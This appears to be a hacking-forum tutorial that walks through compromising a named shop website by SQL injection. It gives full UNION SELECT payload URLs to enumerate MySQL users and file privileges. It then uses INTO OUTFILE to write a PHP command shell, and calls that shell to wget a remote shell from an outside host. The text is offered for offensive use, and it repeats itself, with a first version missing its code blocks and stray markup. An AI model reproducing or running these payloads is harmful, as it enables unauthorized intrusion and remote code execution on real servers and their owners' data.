Oct 15, 2013 06:14 AM
(This post was last modified: Oct 15, 2013 06:51 AM by HaxOr❤.)
Ok,so this tutorial will show you how to upload a shell via SQLi.
This method is useful when you have admin info and can't upload anything,or when you have admin info but you can't find admin login and so on.
NOTE: You cant use this method if magic_quotes are ON![/u]
But this method is very rare!
Anyways let's start with our tutorial...
Things we will need:
1) Your shell/uploader source in .txt format!
2) Basic SQLi skill!
So let's say you injected our site like this:
Now you have admin info you, you logged in and you failed uploading a shell.
Now our method comes to point.
Remember what column you should use. (Mine one will be 19)
Now type in your vuln. column "user" and at the end "FROM mysql.user" so URL would be like:
[img]http://img13.imageshack.us/img13/6453/03jc.png[/img]
NOTE: If you get an error after this you can't use this method.
You should get what is the current user for the site.
Good.Now,remember that..You will need it.
Now we check users file privilege.
In your column type:
"group_concat(user,0x3a,file_priv)"
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(user,0x3a,file_priv),20,21,22,23,24 FROM mysql.user--
[/code]
Now you should get all users and their privileges
[img]http://img19.imageshack.us/img19/9975/ofdx.png[/img]
Now our user was "root" If in previous command user was root:Y,that means we can make files on server.
Let's go to the next step.
To create a file into a server you need to find sites full path.
To do that you must cause an error,hopefully that error would give us our sites path.
NOTE: If you dont know how to cause an error to get a full path check this tutorial by Th3PonyWizard!
We got ours:
After that we must find writeable folder in our server.
Just browse arround or scan it with Acunetix.
Usually public_html folder is writeable.
For our example i used:
And it should be (Judging by our path)
Let's get back to our injection.
Our column should be our php line.
In there we type our command:
NOTE: Quotation marks are required
NOTE: All other columns should be null (Not required)
And at the end we use "INTO OUTFILE" function.
Now we use site's full path,writeable folder and our file name:
Now our shell should be spawned.
We now check if our file is created.
You should get something like this:
That means we have created our file! Yay!
Now to spawn our shell:
Go to the file created and type:
To view the file go to:
But in my case i cant use system() because it is disabled. I used eval() for this website.
I hope you guys liked this tutorial, dont forget to bookmark it. :)
This method is useful when you have admin info and can't upload anything,or when you have admin info but you can't find admin login and so on.
NOTE: You cant use this method if magic_quotes are ON![/u]
But this method is very rare!
Anyways let's start with our tutorial...
Things we will need:
1) Your shell/uploader source in .txt format!
2) Basic SQLi skill!
So let's say you injected our site like this:
Code
http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23,24--Now you have admin info you, you logged in and you failed uploading a shell.
Now our method comes to point.
Remember what column you should use. (Mine one will be 19)
Now type in your vuln. column "user" and at the end "FROM mysql.user" so URL would be like:
Code
http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,user,20,21,22,23,24 FROM mysql.user--[img]http://img13.imageshack.us/img13/6453/03jc.png[/img]
NOTE: If you get an error after this you can't use this method.
You should get what is the current user for the site.
Code
rootGood.Now,remember that..You will need it.
Now we check users file privilege.
In your column type:
"group_concat(user,0x3a,file_priv)"
Code
http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT[/code]
Now you should get all users and their privileges
[img]http://img19.imageshack.us/img19/9975/ofdx.png[/img]
Code
root:Y,root:Y,apache:N,moto25_moto25:Y,moto25_moto25:NNow our user was "root" If in previous command user was root:Y,that means we can make files on server.
Let's go to the next step.
To create a file into a server you need to find sites full path.
To do that you must cause an error,hopefully that error would give us our sites path.
NOTE: If you dont know how to cause an error to get a full path check this tutorial by Th3PonyWizard!
We got ours:
Code
/var/www/vhost/moto25/data/www/moto25.ru/After that we must find writeable folder in our server.
Just browse arround or scan it with Acunetix.
Usually public_html folder is writeable.
For our example i used:
Code
http://shop.moto25.ru/equip/And it should be (Judging by our path)
Code
/var/www/vhost/moto25/data/www/moto25.ru/equip/Let's get back to our injection.
Code
http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--Our column should be our php line.
In there we type our command:
Code
"<? system($_GET['cmd']); ?>"NOTE: Quotation marks are required
NOTE: All other columns should be null (Not required)
Code
http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,""<? system($_GET['cmd']); ?>"",null,null,null,null,nullAnd at the end we use "INTO OUTFILE" function.
Code
http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,""<? system($_GET['cmd']); ?>"",null,null,null,null,null INTO OUTFILE /var/www/vhost/moto25/data/www/moto25.ru/equip/Now we use site's full path,writeable folder and our file name:
Code
/var/www/vhost/moto25/data/www/moto25.ru/equip/Code
[code]http://shop.moto25.ru/cat/bike.php?n=-173 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,""<? system($_GET['cmd']); ?>"",null,null,null,null,null INTO OUTFILE /var/www/vhost/moto25/data/www/moto25.ru/equip/php_cmd.phpNow our shell should be spawned.
We now check if our file is created.
Code
http://shop.moto25.ru/equip/php_cmd.phpYou should get something like this:
Code
Warning: system() [function.system]: Cannot execute a blank command in /sites/full/path/phpcmd.php on line 1That means we have created our file! Yay!
Now to spawn our shell:
Go to the file created and type:
Code
?cmd=wget www.host.com/yourshellsource.txt -O shell.php
[code]http://shop.moto25.ru/equip/php_cmd.php?cmd=wget www.host.com/yourshellsource.txt -O shell.phpTo view the file go to:
Code
http://shop.moto25.ru/equip/shell.phpBut in my case i cant use system() because it is disabled. I used eval() for this website.
I hope you guys liked this tutorial, dont forget to bookmark it. :)


